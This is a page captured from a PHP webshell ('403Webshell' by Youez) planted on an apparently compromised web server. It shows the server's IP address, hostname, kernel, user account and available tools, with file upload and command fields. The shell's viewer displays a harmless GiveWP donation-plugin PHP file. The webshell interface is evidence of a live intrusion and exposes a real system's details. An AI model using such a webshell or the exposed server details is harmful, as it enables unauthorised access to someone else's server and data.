403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.222.231.86
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/DonationForms/AsyncData/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/DonationForms/AsyncData/Actions/GiveGoalProgressStats.php
<?php

namespace Give\DonationForms\AsyncData\Actions;

use Give\DonationForms\AsyncData\AdminFormListView\AdminFormListViewOptions;
use Give\DonationForms\AsyncData\AsyncDataHelpers;

/**
 * @since 3.16.0
 */
class GiveGoalProgressStats
{
    /**
     * @since 3.16.0
     */
    public function maybeChangeGoalProgressStatsActualValue($stats)
    {
        if (false !== strpos($stats['actual'], 'give-skeleton')) {
            return $stats;
        }

        // Only use cached values on form list views
        if ( ! $this->isSingleForm() && ! wp_doing_ajax() && AdminFormListViewOptions::useCachedMetaKeys()) {
            return $stats;
        }

        if ('amount' === $stats['format']) {
            $actual = AsyncDataHelpers::getFormRevenueValue($stats['form_id']);
            $stats['actual'] = give_currency_filter(give_format_amount($actual));
        }

        return $stats;
    }

    /**
     * @since 3.16.0
     */
    private function isSingleForm(): bool
    {
        $isIframeFormPage = isset($_GET['giveDonationFormInIframe']) && '1' === $_GET['giveDonationFormInIframe'];
        $isSingleFormPage = 'give_forms' === get_post_type() && is_single();
        $isFormEditPage = 'give_forms' === get_post_type() && isset($_GET['action']) && 'edit' === $_GET['action'];

        return $isIframeFormPage || $isSingleFormPage || $isFormEditPage;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit